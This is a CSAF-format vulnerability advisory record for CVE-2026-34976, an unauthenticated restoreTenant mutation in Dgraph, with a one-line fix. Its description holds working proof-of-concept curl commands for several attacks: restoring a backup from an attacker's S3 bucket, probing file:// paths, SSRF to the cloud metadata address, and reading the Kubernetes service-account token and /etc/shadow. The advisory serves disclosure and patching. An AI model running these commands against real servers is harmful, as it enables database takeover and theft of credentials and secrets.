{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34976",
        "tracking": {
            "current_release_date": "2026-04-02T22:23:51.471539Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34976",
            "initial_release_date": "2026-04-02T22:18:57.799750Z",
            "revision_history": [
                {
                    "date": "2026-04-02T22:18:57.799750Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T22:19:04.714699Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                }
            ],
            "status": "interim",
            "version": "2"
        }
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34976",
            "cwe": {
                "id": "CWE-862",
                "name": "Missing Authorization"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n    # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n    mutation { restoreTenant(input: {\n      restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n      fromNamespace: 0\n    }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n    # restore (HAS middleware) -> BLOCKED\n    $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n    # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n    $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Error response reveals whether /etc/ exists and its structure.\n    # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n    # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n    # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n    # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n    # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n    # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n    \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
                    "title": "github - https://api.github.com/advisories/GHSA-p5rh-vmhp-gvcw"
                },
                {
                    "category": "other",
                    "text": "4.0",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-862 (Missing Authorization)",
                    "title": "NCSC Score top increasing factors"
                }
            ],
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-p5rh-vmhp-gvcw"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-p5rh-vmhp-gvcw"
                }
            ],
            "title": "CVE-2026-34976"
        }
    ]
}